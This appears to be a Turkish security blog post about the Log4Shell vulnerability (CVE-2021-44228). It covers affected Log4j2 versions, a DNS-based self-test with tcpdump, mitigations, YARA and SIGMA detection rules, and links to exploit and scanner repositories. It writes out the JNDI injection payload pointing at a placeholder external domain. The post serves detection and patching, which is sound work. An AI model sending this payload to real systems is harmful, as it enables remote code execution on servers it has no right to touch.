12/10/2021 tarihinde yayınlanan bu sıfırıncı gün zafiyeti oldukça etkili. Zafiyetin kaynağı log almak ve işlemek için kullanılan Apache Log4j2 ( Log4j ) servisi.
Log4j2 java tabanlı bir servis. Zafiyet, gönderilen log parametresi içerisinden sistemde uzaktan komut yürütülebilmesidir. Bu açıdan oldukça tehlikeli ve etkili.
Etkilenen Log4j2 versiyonları: 2.0 < log4j <= 2.14.1
Gönderilen temel sorgu parametresi > ${jndi:ldap://www.zafiyetmevcut79879.com/a} veya ${jndi:rmi:// www.zafiyetmevcut79879.com/a}
Sorgu parametresi hedef sitedeki java kütüphanesi üzerinde istenilen komutun çalıştırılmasına izin vermektedir.
Etkilenen sistemler listesi;
- https://www.rumble.run/blog/finding-log4j/
- https://github.com/YfryTchsGD/Log4jAttackSurface
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Zafiyet testi için;
- https://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
- https://github.com/leonjza/log4jpwn
- https://github.com/ab41j1t4000/log4j
- https://github.com/SAM0-0/LOG4J-VULN.-DETACTOR-PYTHON-
- https://github.com/cube0x0/noPac
- https://log4shell.huntress.com/ (Kritik sistemlerinizde denemeniz önerilmez)
Yerel sistemi dışarıya bilgi vermeden test etmek için;
İlgili girdi hedefe gönderilir (GET, POST,…)
${jndi:ldap://www.zafiyetmevcut79879.com/a}
İlgili hedef sistemde aşağıdaki sorgu çalıştırılır (wireshark, tshark, vb. araçları da kullanabilirsiniz),
(Not: www.zafiyetmevcut79879.com’u test amaçlı rastgele belirleyebilirsiniz.)
sudo tcpdump port 53 | grep "www.zafiyetmevcut79879.com"
sorgusunu görüyorsanız zayıflık mevcuttur. (Ancak servis yapısı gereği domain okuyan ve işleyen başka bir alt servis varsa bu sorgu false positive verebilir. Bu nedenle yerel olmayan sistem ve servislerde bu yöntem önerilmez…)
Ayrıca ilgili sistem, kendi DNS sunucusunda sorgu oluşturuyorsa oradan da zafiyeti doğrulayabilirsiniz.
Daha hızlı ve birden fazla sistemde zafiyet olup olmadığını doğrulamak için bu sayfada belirtilen “zayıflık test” ve “zayıflık test” bağlantılarını kullanabilirsiniz.
Zayıflığın azaltılması;
- Log4j2 2.14.1 üstü versiyona güncellenmesi
- veya “-Dlog4j2.formatMsgNoLookups=true” parametresinin java işleyicisine eklenmesi gereklidir.
- ( zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/jndilookup.class silinebilir )
- https://www.fortiguard.com/outbreak-alert/log4j2-vulnerability > IDS “Apache.Log4j.Error.Log.Remote.Code.Execution”
- https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/
Zayıflık tespiti;
- YARA > https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar
- SIGMA > https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml
- SIGMA > https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml
- THOR LITE > https://www.nextron-systems.com/thor-lite/
- https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b > İlgili yerel sistemlerde sorgulama.
- Ayrıca sistem içerisinden log4j’yi kullanan servisleri anahtar kelimeler ile arayabilirsiniz (%100 bulmanızı sağlamasa da ek bir kontrol olarak uygulayabilirsiniz);
Referanslar
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf (Blackhat 2016’da JNDI ile ilgili sunum…)